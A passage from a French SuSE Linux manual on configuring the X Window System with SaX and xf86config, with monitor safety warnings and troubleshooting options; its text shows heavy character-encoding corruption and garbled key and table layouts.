phique pour les systΦmes Unix. Et mΩme bien plus encore car X11 est un
systΦme basΘ sur rΘseau. Les applications qui tournent sur la machine terre
peuvent afficher leurs sorties sur la machine soleil si les deux ordinateurs
sont connectΘs α travers un rΘseau. Ce rΘseau peut Ωtre un LAN, mais les ma-
chines peuvent aussi se trouver α des milliers de kilomΦtres l'une de l'autre et
communiquer par Internet.
X11 est le rΘsultat de la collaboration de la DEC (Digital Equipment Corpo-
ration ) et du projet Athena du MIT (Massachusetts Institute of Technology ).
La premiΦre version (X11R1 ) est parue en septembre 1987. └ partir de la
version X11R6 , le dΘveloppement du systΦme X Window a ΘtΘ pris en charge
par le X Consortium, Inc. ~ devenu en 1996 The Open Group .
XFree86 TM est une implΘmentation librement disponible de serveurs X pour
systΦmes Unix fonctionnant sur PC (voir http://www.XFree86.org) ; la
version 3.3.6 est aujourd'hui la version courante. XFree86 TM a ΘtΘ et continu
a Ωtre dΘveloppΘ par des programmeurs ~ dispersΘs dans le monde entier ~ qui
depuis 1992 constituent l'Θquipe XFree86. Ceci a donnΘ naissance en 1994
α The XFree86 Project, Inc. qui a pour objectif de mettre XFree86 TM α la
disposition d'un large public et de contribuer, par des travaux de recherche et
de dΘveloppement, α l'avenir du systΦme X Window.
Nous remercions ici l'Θquipe XFree86 pour sa bonne coopΘration et pour la
mise α disposition de versions bΩta sans lesquelles ce document1 ainsi que le
CD n'existeraient s√rement pas sous leur forme actuelle.
Les paragraphes suivants traitent de la configuration du serveur X qui Θtait
autrefois une question extrΩmement dΘlicate. Nous parlerons des programmes
SaX (sax )2 et xf86config qui permettent une configuration aisΘe du systΦme
X Window. Contrairement α xf86config, SaX travaille en collaboration di-
recte avec le serveur X et peut Ωtre pilotΘ α l'aide de la souris. Il est donc
conseillΘ d'installer avec YaST le programme SaX (paquetage sax, sΘrie x)
et les paquetages dΘpendants, en particulier le paquetage xvga16 ainsi que ~
si vous le connaissez dΘjα ~ le serveur X qui convient α votre carte graphique ;
les serveurs X se trouvent dans la sΘrie xsrv (voir paragraphe 3.4.3 page 95).
1 ____________________________________________________
Certaines parties de cette description sont empruntΘes au chapitre Configurer XFree86 de
[HHMK96 ], mis aimablement α notre disposition par Dirk Hohndel.
2 SaX (angl. SuSE Advanced X Configuration Tool) rend XF86Setup
(paquetage xfsetup, sΘrie x) obsolΦte.
*
* 239
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
Au cas o∙ vous auriez omis de sΘlectionner un serveur, SaX le constatera et
fera installer un serveur adΘquat par l'intermΘdiaire de YaST .
Pour tirer le maximum de profit du matΘriel dont vous disposez (carte gra-
phique, moniteur, clavier), vous avez la possibilitΘ d'optimiser manuellement
votre configuration. Nous parlerons de certains aspects de cette optimisation,
d'autres aspects ne seront pas particuliΦrement traitΘs. Vous trouverez des
informations dΘtaillΘes sur la configuration du systΦme X Window dans diffΘ-
rents fichiers du rΘpertoire /usr/doc/packages/xf86 et bien s√r aussi dans
la page de man de XF86Config (man XF86Config ).
________________________________________________________________________________________________________*
*________|||||
| Lors de la configuration du systΦme X Window, il convient de procΘder *
* ||||
| avec un maximum de prudence ! X ne devrait en aucun cas Ωtre lancΘ *
* |||
| *
* |||
| avant que la configuration ne soit terminΘe. Un systΦme mal configurΘ *
* |||
| *
* |||
| peut causer des dommages irrΘversibles α votre matΘriel ; les moniteurs *
* |||
| α frΘquence fixe risquent tout particuliΦrement d'Ωtre dΘtΘriorΘs. *
* |||
| *
* |||
| Les auteurs de ce manuel et la SuSE GmbH dΘclinent toute responsabilitΘ *
* |||
| pour des dommages qui pourraient Θventuellement se produire. Le prΘsent *
* |||
| *
* |||
| texte a ΘtΘ ΘlaborΘ avec le plus grand soin. Il n'est toutefois pas possible *
* |||
| de garantir que les mΘthodes prΘsentΘes ici soient correctes et ne causent *
* |||
| *
* |||
| aucun dommage α votre matΘriel. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
8.1 Configuration avec SaX
Le pogramme SaX (angl. SuSE Advanced X Configuration Tool) simplifie
l'installation du systΦme X Window. Il se pilote entiΦrement au moyen de la
souris ou du clavier sur l'interface graphique. └ l'exception de quelques cas
particuliers, par exemple matΘriel trΦs rΘcent ou trΦs ancien, il peut reconnaεtre
lui-mΩme les diffΘrents composants ce qui facilite considΘrablement la mise
en place d'un serveur X.
8.1.1 PremiΦre installation
Pour une premiΦre installation du systΦme X Window ~ l'interface graphique
de tout systΦme Linux ~ certaines informations concernant le matΘriel doivent
Ωtre connues :
~ moniteur utilisΘ (nom du produit).
~ type du clavier.
~ type de la souris et de l'interface qu'elle utilise.
~ constructeur et nom de la carte graphique.
________________________________________________________________________________________________________*
*________||
| Vous devez lancer le programme SaX (sax ) en tant qu'utilisateur `root'. *
* ||||
| *
* |||
| Vous pouvez aussi lancer SaX α partir de YaST : `Administration du *
* |||
| systΦme' et ensuite `Configurer XFree86[tm]' (voir paragraphe 3.6 *
* |||
| *
* |||
| page 100). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Le programme est invoquΘ en ligne de commande par :
terre:/root # sax
240
_______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
*______________________
DΦs que le programme est lancΘ, il recherche les cartes PCI enfichables ins-
tallΘes. Lorsqu'une carte PCI a ΘtΘ dΘtectΘe, elle est identifiΘe et affichΘe dans
le programme sous `Carte graphique'
AprΦs le scan du PCI, la fenΩtre principale apparaεt. Elle contient les fiches
pour la souris (`Souris'), le clavier (`Clavier'), la carte graphique
(`Carte graphique') , le moniteur et l'Θcran (`╔cran'). SaX charge de
nombreuses informations sur le matΘriel α partir d'une base de donnΘes qui
vous est fournie. Ces informations vous permettront de sΘlectionner ensuite
vos propres composants matΘriels. Les donnΘes retrouvΘes lors de la vΘrifi-
cation du systΦme seront prΘsentΘes sous les options correspondantes, vous
trouverez, par exemple, le type de votre carte graphique sur la fiche `Carte
graphique'.
SaX tente de reconnaεtre la totalitΘ de votre matΘriel. Mais pour Ωtre s√r que
la configuration soit complΦte et correcte, vous devez absolument vΘrifier les
paramΘtrages effectuΘs par SaX et le cas ΘchΘant les corriger !
Pour cela, le programme met α votre disposition cinq ``fiches α onglets''
qui sont `Souris', `Clavier', `Carte graphique', `Moniteur' et
`╔cran', accessibles par un simple clic sur le titre correspondant (l'onglet
de la fiche concernΘe).
Au cas o∙ votre souris ne serait pas encore correctement configurΘe, vous
avez la possibilitΘ de piloter le programme au moyen_du clavier. En appuyant
plusieurs fois sur la touche de tabulation (= |T____a|b), vous pouvez parvenir aux
diffΘrents champs_d'entrΘe d'une fiche. Pour accΘder aux diffΘrentes fiches,
appuyez sur |T____a|bjusqu'α ce que le titre sur l'onglet soit entourΘ d'un cadre_ ___
noir. Vous pourrez alors choisir la fiche que vous dΘsirez avec | ___|_ou_|____|!._
Elle sera affichΘe dΦs que vous aurez validΘ votre sΘlection avec |_________E|ntrΘe.
Chaque fiche est dotΘe de plusieurs ΘlΘments de commande tels que boutons
(angl. buttons), listes dΘroulantes (angl. listboxes) et champs d'entrΘe (angl.
entry fields) qu'il est Θgalement possible de manipuler entiΦrement α l'aide
du clavier._Pour accΘder α un bouton, par exemple `Appliquer', appuyez
sur T|||_|_abjusqu'α ce que le _bouton__concernΘ soit__entourΘ_ d'un__cadre_ noir. ____
Vous pourrez alors l'activer avec |E_________|spaceou |E_________|ntrΘe(|_____-|). Avec |F____1|0, vous
arrivez dans la liste des menus sur le bord supΘrieur.
Pour sΘlectionner une entrΘe dans une liste dΘroulante, appuyez sur la touche
Tab |||||||||__jusqu'α ce que la boεte correspondante soit encadrΘe. Avec |"__|et |#__|vous
pouvez, par un marquage en couleur,_sΘlectionner_une entrΘe qui deviendra
active si vous appuyez sur |E_________|ntrΘe.
La souris
La fiche `Souris' est la premiΦre α apparaεtre aprΦs le lancement du pro-
gramme (figure 8.1 page suivante).
Si vous avez dΘjα configurΘ votre souris au cours d'une premiΦre installation
de Linux, par exemple lors de la configuration de gpm, les donnΘes alors ob-
tenues seront utilisΘes par SaX . Vous pourrez ainsi disposer immΘdiatement
de votre souris sous le systΦme X Window.
Dans ce cas, vous pouvez poursuivre votre configuration en sautant cette
Θtape. Mais si vous n'avez pas encore configurΘ votre souris, vous devez le
*
* 241
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
Fig. 8.1: SaX : Configuration de la souris
faire dΦs maintenant. Appuyez deux fois _sur | _____|Tabet_ sΘlectionnez la souris
qui convient sous _`Constructeur'_ (avec | _"|et | _#|, vous pouvez parcourir
la liste). Avec |_________E|ntrΘe,_ vous confirmerez la sΘlection du constructeur que
vous avez marquΘ. Allez avec |T____a|bdans la liste de sΘlection `ModΦles' et
choisissez le type de souris adΘquat ~ En activant le bouton `Appliquer',
vous pourrez vΘrifier si votre choix a ΘtΘ le bon. Vous devriez ensuite pouvoir
dΘplacer le pointeur de la souris.
Si vous ne connaissez pas exactement le type de votre souris ou si celle-ci
n'est pas mentionnΘe et si, dans le cas d'une souris sΘrie `Microsoft', le
type `Standard Mouse' ne convient pas, sΘlectionnez le sous-menu `Mode
expert' afin de dΘterminer directement un protocole de souris. Vous pourrez
en outre configurer des options plus avancΘes, telles que par exemple le dΘbit
en bauds et ``l'Θmulation du troisiΦme bouton''. Le `Mode expert' vous
donne accΦs aux fiches suivantes :
`Pilote' : Si le nom du constructeur vous est inconnu, vous pouvez ici dΘ-
terminer directement le `Protocole' de souris. Vous devez aussi choisir
le fichier de pΘriphΘrique (angl. device). Pour une souris bus, vous devriez
essayer la variante PS/2 correspondante.
`PropriΘtΘs' : RΘglage complΘmentaire, vitesse de rΘaction de la souris.
`Options' : ╔mulation du troisiΦme bouton, etc.
`Test' : Vous pouvez vΘrifier la configuration de votre souris (figure 8.2
page ci-contre) dans la partie infΘrieure de la souris symbolique, dans le
cadre `Champ de test'. Si la souris est bien rΘglΘe, les symboles des
boutons doivent clignoter sur l'Θcran lorsque vous cliquez les boutons
correspondants de votre souris.
242
_______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
*______________________
Fig. 8.2: SaX : Configuration de la souris en mode expert
Le clavier
Le clavier par dΘfaut est un clavier Windows 95/98 allemand (figure 8.3).
Si vous possΘdez un autre clavier, vous devez rΘgler ici les paramΦtres nΘces-
saires car le clavier est l'un des rares composants du matΘriel qui n'est pas
reconnu automatiquement.
Fig. 8.3: SaX : Clavier
En comparant votre clavier avec l'`Image du clavier' affichΘe α l'Θcran,
vous pourrez aisΘment choisir le modΦle adΘquat sous `ModΦle'. N'oubliez
pas non plus de sΘlectionner comme `Langue' le `Franτais'. └ c⌠tΘ du
bouton `Effacer', vous trouverez un champ de test dans lequel vous pourrez
vΘrifier la disposition des touches en tapant diffΘrents caractΦres ~ n'oubliez
pas les lettres accentuΘes !
*
* 243
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
Le bouton `RedΘfinir les touches mortes' est utilisΘ afin que tous les
caractΦres du clavier, y compris les caractΦres spΘciaux, soient reprΘsentΘs
sous X par une seule pression de la touche. La configuration en `Mode ex-
pert' ne vous est probablement pas nΘcessaire : : :
Le bouton `Appliquer' sert α rendre les modifications effectives.
La carte graphique
Sur la fiche `Carte graphique', vous pouvez sΘlectionner le constructeur
dans la liste de gauche et le modΦle de la carte correspondante dans la liste
de droite (figure 8.4). SaX tente de reconnaεtre lui-mΩme la carte graphique
ce qui, avec les cartes graphiques PCI, fonctionne en gΘnΘral de faτon trΦs
fiable. L'utilitaire a recours pour cela α une vaste base de donnΘes du matΘriel
graphique courant. Voir le paquetage cdb (angl. Component Data Base). Le
matΘriel dΘtectΘ est mis en Θvidence par un marquage en couleur.
Fig. 8.4: SaX : Carte graphique
Il se cache sous le bouton `Mode expert' des options avancΘes de confi-
guration (figure 8.5 page suivante). Celles-ci entrent en jeu lorsque vous sΘ-
lectionnez directement votre serveur X (`Configuration du serveur'),
lorsque vous spΘcifiez la quantitΘ de mΘmoire sur la carte graphique et la va-
leur de RAMDAC. Ou si vous souhaitez rΘgler vous-mΩme un circuit spΘ-
cial de RAMDAC ou d'horloge (sous `Chipsets') pour votre carte gra-
phique. Diminuez la valeur de RAMDAC si la manipulation des fenΩtres pose
quelques problΦmes, par exemple si vous voyez apparaεtre pour un court ins-
tant des fragments de la ligne de titre lorsque vous dΘplacez une fenΩtre.
________________________________________________________________________________________________________*
*________
| Les cartes ISA ne sont pas reconnues ``automagiquement'', l'utilisateur doit *
* |||
| *
* |||
| sΘlectionner ``α la main'' le serveur adΘquat. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
244
_______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
*______________________
Fig. 8.5: SaX : Carte graphique ~ mode Expert
Si lors de la sΘlection de votre carte graphique vous lisez le message d'erreur
"The SVGA server is not installed...", vous devrez installer avec
YaST le paquetage spΘcifiΘ dans ce message (voir paragraphe 3.4 page 94).
Le moniteur
Le dernier gros obstacle α surmonter avant de parvenir α un serveur X fonc-
tionnel est la configuration du moniteur utilisΘ. Ici aussi, vous pouvez sΘlec-
tionner le `Constructeur' du moniteur dans la liste de gauche de la fiche
`Moniteur'. Par un nouveau clic de la souris, vous pouvez sΘlectionner votre
propre modΦle dans la liste de droite (`Type'). Si contre toute attente votre
moniteur ne devait pas figurer dans la liste, vous pouvez, en cliquant sur le
bouton `Mode expert', indiquer la frΘquence horizontale et la frΘquence
verticale spΘcifiques α votre moniteur. Celles-ci se trouvent habituellement
dans la documentation qui accompagne votre moniteur.
Si vous ne possΘdez aucune information sur votre moniteur, SaX fixera
par dΘfaut la frΘquence horizontale α 29-61 kHz et la frΘquence verticale α
60-70 Hz. Ces frΘquences sont inoffensives pour la plupart des moniteurs.
Si au dΘmarrage du serveur X l'image reste sombre ou prΘsente de trΦs forts__
scintillements, vous devriez arrΩter immΘdiatement le serveur X avec |C______|trl+
Alt |||||||||__+ | _____|7(l!a touche | _____|7es!t celle qui efface le caractΦre situΘ α gauche du
curseur !). Sinon votre moniteur risque d'Ωtre endommagΘ, voire dΘtruit.
L'Θcran
Si vous avez rΘussi α installer votre carte graphique, vous disposez mainte-
nant d'un grand nombre de rΘsolutions et de profondeurs de couleurs (angl.
colordepth) qui peuvent Ωtre gΘrΘes dans le menu `╔cran'.
L'aspect de la fiche `╔cran' peut Θventuellement faire penser α d'autres
systΦmes d'exploitation ;-)
Sur le `bureau', vous pouvez choisir une `rΘsolution' pour chaque pro-
fondeur de couleurs (`Couleurs').
*
* 245
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
Fig. 8.6: SaX : ╔cran
Si vous voulez faire Θtablir une liste de plusieurs rΘsolutions pour une pro-
fondeur de couleurs dΘterminΘe, ceci est possible dans le `Mode expert'
(figure 8.7).
Fig. 8.7: SaX : ╔cran
`RΘsolution' : Cette fiche comprend les sections suivantes :
RΘsolutions `possibles'
RΘsolutions `actuelles'
`Couleurs' , la liste de sΘlection des profondeurs de couleurs
Sur la rangΘe verticale de boutons qui se trouve sur le c⌠tΘ droit, vous
sΘlectionnerez tout d'abord la profondeur de couleurs (`Couleurs') pour
laquelle les rΘsolutions de l'Θcran doivent Ωtre configurΘes.
246
_______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
*______________________
Le serveur X peut dΘmarrer avec diffΘrentes profondeurs de couleurs. Une
valeur de 8 bits signifie que 256 couleurs peuvent Ωtre affichΘes simul-
tanΘment α l'Θcran. Pour la mΩme profondeur de couleurs, il existe aussi
diffΘrentes rΘsolutions d'Θcran, par exemple 800x600 . Mais toutes les rΘ-
solutions ne sont pas disponibles pour toutes les profondeurs de couleurs.
Avec certaines cartes, il n'est pas possible d'utiliser une rΘsolution de
1600x1200 pour une valeur de 32 bits car la plupart des cartes gra-
phiques ne possΦdent pas suffisamment de mΘmoire pour cela.
Pour une profondeur de couleurs de 8 bits , il existe dans la liste des
rΘsolutions `actuelles' diffΘrentes rΘsolutions allant par exemple de
1600x1200 α 640x480 . Ces rΘsolutions sont interchangeables en cours
d'exΘcution dans l'ordre dans lequel elles_figurent_dans_la liste._On utilise_ ____
pour_cela la combinaison_de touches_|C______|trl+ |A____l|t+ |+_ |ou |C______|trl+ |A____l|t
+ |-_ |(les touches |+_ |et |-_ |doivent Ωtre prises dans le pavΘ numΘrique !).
La valeur qui figure en tΩte de liste est celle avec laquelle le serveur X est
lancΘ.
Vous devez faire passer les rΘsolutions que vous souhaitez utiliser de la
liste des rΘsolutions `possibles' α la liste des rΘsolutions `actuel-
les'. Cliquez pour cela sur la rΘsolution choisie pour la marquer et en-
suite sur le bouton `E' pour l'ajouter α la liste des rΘsolutions `actuel-
les'. Avec `V', vous remettrez les entrΘes que vous ne souhaitez pas
conserver α leur emplacement d'origine.
L'ordre des entrΘes de la liste `Actuelles' peut Ωtre modifiΘ α l'aide des
touches flΘchΘes qui se trouvent tout en bas de la fenΩtre `Actuelles'
contenant la liste. Pour cela, on marque l'entrΘe que l'on veut dΘplacer et
on clique, avec le bouton droit de la souris, sur la flΦche pointant vers le
haut ou la flΦche pointant vers le bas. Ainsi l'entrΘe change de place avec
celle qui la prΘcΦde ou avec celle qui lui succΦde.
DΦs que vous serez satisfait de votre configuration avec une profondeur de
couleurs de 8 bits , vous pourrez choisir une autre valeur, par exemple
16 bits . Vous verrez alors, dans la liste `Possibles', les rΘsolutions
d'Θcran qui peuvent Ωtre choisies pour cette valeur. Celles-ci peuvent Ωtre
manipulΘes comme il a ΘtΘ dΘcrit prΘcΘdemment.
`RΘsolution virtuelle' : Sur cette fiche, vous pouvez dΘterminer les
tailles d'Θcrans virtuels. Si vous voulez vraiment disposer d'une zone
d'Θcran virtuelle, vous devrez augmenter les valeurs pour `Virtuel X'
(= largeur) ou `Virtuel Y' (= hauteur) ~ mais en gΘnΘral ceci n'est pas
souhaitable !
PrΘcisions : Le systΦme X Window vous donne la possibilitΘ de dΘfinir
une taille d'Θcran virtuel. Ceci permet de travailler sur un bureau plus
grand que la partie visible de l'Θcran. Vous pouvez par exemple utiliser
une taille d'Θcran virtuel de 1152x864 avec une rΘsolution du moniteur
de 800x600 .
`SpΘciale' Cette fiche vous permet de gΘnΘrer votre propre rΘsolution.
Vous pouvez en outre dΘterminer ici la `qualitΘ' des ``modelines'',
c'est-α-dire choisir entre deux modes de calcul.
*
* 247
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
Vous devriez maintenant dΘterminer avec quelle profondeur de couleurs
par dΘfaut le serveur X devra dΘmarrer. Vous devez pour cela, sur la fiche
`╔cran', rendre actuelle la profondeur de couleurs dΘsirΘe (via `Cou-
leurs'). Lorsque ceci est fait, cliquez sur le bouton `Configurer le
mode actuel' pour procΘder α un dΘmarrage d'essai du serveur X : : :
Tester la configuration
AprΦs un bref laps de temps, il apparaεt une boεte de messages. Cliquez ~
si vous Ωtes d'accord ~ sur `OK'. Vous devriez alors voir apparaεtre l'image
de fond et une fenΩtre divisΘe en deux zones. La partie de gauche contient
quelques informations sur la rΘsolution actuellement utilisΘe et la frΘquence
horizontale ou verticale du mode vidΘo.
La partie de droite contient deux champs de touches, `Taille' et `Posi-
tion' qui permettent un ajustement optimal de l'image. Les touches flΘchΘes
dans le champ `Taille' servent α agrandir et α rΘduire l'image dans le sens
horizontal et dans le sens vertical. Dans le champ `Position', on peut mo-
difier la position relative de l'image sur le moniteur. Ajustez l'image selon
vos dΘsirs !
Un petit rectangle est situΘ sur chacun des quatre coins de la fenΩtre pour
permettre de contr⌠ler le bon ajustement de l'image. Si l'image est optimale,
ces rectangles sont entiΦrement visibles sans aucune altΘration de couleur.
________________________________________________________________________________________________________*
*________
| Bien qu'avec SaX vous puissiez ajuster l'image de faτon prΘcise, cela ne *
* ||||
| *
* |||
| vous dispense pas d'un ajustement complΘmentaire effectuΘ manuellement *
* |||
| avec les touches du moniteur ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
AprΦs avoir ajustΘ correctement l'image, vous avez trois possibilitΘs pour
fermer la fenΩtre :
`Sauvegarder et quitter' : Vous terminez la configuration de votre
systΦme X Window en enregistrant vos donnΘes de configuration. Vous
retournez ainsi α la ligne de commande.
`Abandonner' : Vous voulez quitter SaX sans conserver les configurations.
Le cas ΘchΘant, appuyez sur |A_____|lt+ |F___|_1pour revenir sur la premiΦre console.
8.1.2 Reconfiguration
SaX vous apporte une aide efficace pour mieux adapter un serveur fonction-
nel α vos besoins.
Pour cela, SaX lit le fichier /etc/XF86Config dΘjα existant dans lequel le
systΦme X Window a stockΘ les donnΘes de configuration et il les analyse. Il
ne vous est donc pas absolument nΘcessaire d'effectuer vous-mΩme toutes les
configurations α commencer par la souris jusqu'au moniteur car SaX prend
en compte les configurations du serveur X qui fonctionnent dΘjα. SaX met
ces donnΘes α disposition sur les fiches dΘcrites plus haut.
L'utilisateur a cependant toute libertΘ lors de la nouvelle configuration de
son serveur X : Il peut rechercher son modΦle de moniteur dans la vaste
248
_______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
*______________________
base de donnΘes ce qui lui permet de mieux adapter sa configuration aux
caractΘristiques de son moniteur et il peut en outre ajuster aisΘment l'image.
SaX lui offre aussi, pour la gestion des profondeurs de couleurs et des rΘso-
lutions de la carte graphique, une interface facilement accessible par un clic
de souris sur l'onglet de la fiche `╔cran'.
8.1.3 Cas problΘmatiques
Nous allons parler ici des problΦmes les plus importants qui se produisent le
plus frΘquemment lors de la configuration avec SaX :
~ Si, lorsque vous testez votre configuration, l'image prΘsente de trΦs forts
scintillements ou si elle est noire ou dΘchirΘe, vous devez arrΩter immΘdia-
tement le serveur_X_car_le moniteur_risque_d'Ωtre_endommagΘ. Appuyez ____
pour cela sur |C______|trl+_|A____l|t+ | ____7|~!Attention, ce n'est pas de |T____a|bqu'il
s'agit mais de | ____7|:!la touche servant α effacer le caractΦre situΘ α gauche
du curseur !
Vous devriez ensuite passer α la fiche `Moniteur' et choisir un moniteur
mieux appropriΘ ou entrer manuellement les donnΘes de votre moniteur.
Ceci est Θgalement valable dans le cas o∙ l'image commencerait α scin-
tiller pendant la procΘdure d'ajustement.
~ Pour les problΦmes particuliΦrement persistants, SaX met α votre disposi-
tion deux options en ligne de commande, par exemple :
--server vga16 : Lors du premier dΘmarrage de SaX , on utilise le
serveur VGA16 au lieu de celui appropriΘ α la carte. Le serveur VGA16
devrait fonctionner avec presque toutes les cartes VGA. Ce serveur est
utilisΘ automatiquement si votre carte graphique n'est pas reconnue ou
si vous avez une carte ISA.
La documentation courante relative α SaX se trouve dans le rΘpertoire /usr/
doc/packages/sax. S'il devait se produire quelque chose d'imprΘvu lors du
dΘmarrage de SaX ou au cours des diffΘrentes Θtapes de la configuration, ceci
sera Θcrit dans les fichiers /root/ServerLog et /root/StartLog. L'exa-
men de ces fichiers vous permettra de savoir comment continuer.
8.1.4 DΘmarrage du systΦme X Window
Le systΦme X Window peut maintenant Ωtre lancΘ par tout utilisateur avec
startx . Une interface graphique prΘconfigurΘe pour le gestionnaire de fenΩtres
fvwm est mise α la disposition de l'utilisateur courant. Il est donc recom-
mandΘ d'invoquer startx sous ce compte et non pas sous le compte `root'.
Les messages d'erreur du serveur X seront redirigΘs vers le fichier ~/.X.err.
startx peut Ωtre lancΘ avec certaines options ; on peut par exemple avec
tux@terre: > startx -- -bpp 16
choisir une profondeur de couleurs de 16 bits.
*
* 249
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
8.1.5 Liste de contr⌠le pour l'installation de cartes graphiques
X fonctionne mais l'image prΘsente encore quelques dΘfauts ou bien vous
dΘsirez tout simplement l'optimiser.
~ La cause principale de nombreux problΦmes au niveau de la reprΘsenta-
tion de l'image est le choix d'une frΘquence verticale (vsync ) trop ΘlevΘe.
Comme hsync et DotClock en dΘpendent de faτon linΘaire, c'est ici que
l'on trouve l'origine de la plupart des problΦmes.
Une rΘduction de la frΘquence de rafraεchissement α 80 Hz par exemple
permet d'obtenir une image pratiquement stable qui est en outre beau-
coup plus nette qu'une image reprΘsentΘe avec une frΘquence de 160 Hz.
Avec un taux de de rafraεchissement de 80 Hz, la frΘquence de pixels est
seulement la moitiΘ de celle obtenue avec 160 Hz.
Essayez par consΘquent de diminuer la frΘquence verticale maximale. SΘ-
lectionnez pour cela l'onglet de la fiche `Moniteur' sous SaX et dΘfi-
nissez sous `Mode expert' une frΘquence maximale moins ΘlevΘe. Les
Θcrans modernes ont une frΘquence tout α fait plaisante situΘe entre 80 et
90 Hz.
~ Il survient parfois aussi des problΦmes avec le ``curseur matΘriel'' : Il
apparaεt un bloc rectangulaire ou quelque chose qui ressemble α un ``code
barre'' α la place du curseur de la souris. Voici un remΦde bien ΘprouvΘ :
insΘrer Option "sw_cursor" dans la section "Device" .
~ Instructions pour la configuration et premiΦre aide en cas de problΦmes :
Les fichiers README ~ classΘs par constructeurs de chipsets ~ dans le
rΘpertoire /usr/X11R6/lib/X11/doc/, les pages de man relatives aux
serveurs X et bien entendu la FAQ concernant XFree86 (http://www.
xfree86.org) ainsi que les pages SuSE pour les mises α jour :
http://www.suse.de/en/support/xsuse/
Dans le tableau suivant les options sont classΘes par ordre de probabilitΘ. Cela
signifie qu'en rΦgle gΘnΘrale on parviendra au but avec la premiΦre option, au
plus tard avec la deuxiΦme. La troisiΦme option reprΘsente le plus souvent la
mΘthode forte ;-)
En fait, toutes les options sont enregistrΘes dans la section Device du fichier
/etc/XF86Config.
~ Un code barre ou un carrΘ en couleur α la place du curseur souris.
1. Option sw_cursor dans la section Device.
2. Option no_imageblt ou no_bitblt .
3. Option noaccel .
~ Image trop Θtroite ou comprimΘe. Les rΘglages du moniteur sont dΘjα
α la limite.
1. Il est probable que la frΘquence de rafraεchissement de l'image ou la
frΘquence horizontale (hsync ) soit trop ΘlevΘ, atteignant ainsi la limite
supportΘe par le moniteur. Solution : rΘduire la frΘquence verticale
(vsync ) et/ou la frΘquence horizontale (hsync ).
250
___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
*______________________
2. Modifier la position de l'image avec le programme xvidtune . Il est
possible que le mode utilisΘ ne soit pas vraiment adΘquat.
3. Ajouter le paramΦtre +hsync +vsync α la modeline en essayant de
remplacer + par - .
~ Lors du dΘplacement de fenΩtres, il reste des bandes ou des rΘsidus de
fenΩtres qui ne disparaissent pas aprΦs la fin du dΘplacement. Ils ne
sont ΘliminΘs que par un rafraεchissement du bureau.
1. RΘduire le taux de rafraεchissement ou la rΘsolution.
2. Utiliser, en fonction du chipset, les options correspondantes des
fichiers README du rΘpertoire /usr/X11R6/lib/X11/doc/. Par
exemple les options fifo_conservative ou slow_dram . Attention :
Tout ceci dΘpend du chipset de la carte graphique !
3. Option noaccel , mais Θventuellement no_imageblt ou no_bitblt
peut dΘjα suffire.
~ ``Parasites'' ~ perturbations de l'image lors du dΘplacement de fe-
nΩtres ou de la visualisation de vidΘos. Ces phΘnomΦnes disparaissent
cependant lorsque l'image affichΘe est statique.
1. RΘduire le taux de rafraεchissement de l'image, la profondeur des cou-
leurs ou la rΘsolution.
2. RΘduire la frΘquence de mΘmorisation de la carte ou supprimer ou
ajouter des cycles d'attente. Parfois possible avec set_mclk (pas avec
tous les chipsets !) Vous trouverez des informations plus prΘcises dans
le rΘpertoire README. Attention, cette option est dangereuse (la frΘ-
quence de la carte peut dΘpasser la limite maximale admise).
~ L'Θcran devient noir au dΘmarrage de XFree86.
1. RΘduire le taux de rafraεchissement de l'image.
2. Prendre en considΘration d'autres sources d'erreurs : Rechercher dans
le systΦme d'Θventuels conflits d'IRQ (la souris PS/2 par exemple re-
quiert l'IRQ 12).
8.2 Configuration avec xf86config
Dans la majeure partie des cas, SaX se montre supΘrieur au programme
xf86config pour la simple configuration du systΦme X Window. Mais dans
les rares cas o∙ la configuration avec SaX Θchoue, elle rΘussit en gΘnΘral avec
xf86config .
Voici les donnΘes nΘcessaires pour la configuration :
~ Type de la souris, interface α laquelle elle est connectΘe et dΘbit en bauds
avec lequel elle est utilisΘe (ce dernier point est en gΘnΘral optionnel).
~ SpΘcification de la carte graphique.
~ ParamΦtres de fonctionnement du moniteur (frΘquences, etc.).
Si vous connaissez ces paramΦtres ou si vous avez la documentation concer-
nant votre moniteur et votre carte graphique α portΘe de la main, la configura-
tion peut commencer. Elle ne peut toutefois Ωtre effectuΘe que par l'utilisateur
`root' !
*
* 251
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
La configuration est mise en route par la commande :
terre:/root # /usr/X11R6/bin/xf86config
Souris
AprΦs la page d'accueil, il vous est demandΘ, dans le premier menu, quel est
le type de votre souris : Il vous est proposΘ le choix suivant :
________________________________________________________________________________________________________*
*________||
| 1.2.MicrosoftMocompatibleus(2-buttone protocol)Systems (3-button protocol) *
* |
| *
* |
| 3. Bus Mouse *
* |
| 4. PS/2 Mouse *
* |
| 5. Logitech Mouse (serial, old type, Logitech protocol) *
* |
| *
* |
| 6. Logitech MouseMan (Microsoft compatible) *
* |
| 7. MM Series *
* |
| 8. MM HitTablet *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 8.2.1: SΘlection de la souris pour X
Pour la dΘtermination du type de la souris, il convient de noter que de nom-
breuses souris Logitech de modΦle rΘcent sont compatibles Microsoft ou uti-
lisent le protocole MouseMan. Le choix Bus Mouse inclut tous les types de
souris bus y compris Logitech !
La sΘlection du type de souris adΘquat se fait en spΘcifiant le numΘro qui
prΘcΦde le nom. Il vous sera Θventuellement demandΘ (si vous choisissez par
exemple le type 1), si vous voulez activer ChordMiddle . Ceci est indispen-
sable pour pouvoir activer le bouton central de certaines souris ou boules de
pointage (angl. trackballs) Logitech :
Please answer the following question with either 'y' or 'n'.
Do you want to enable ChordMiddle?
Si vous utilisez une souris α deux boutons, vous pouvez, en rΘpondant par `y'
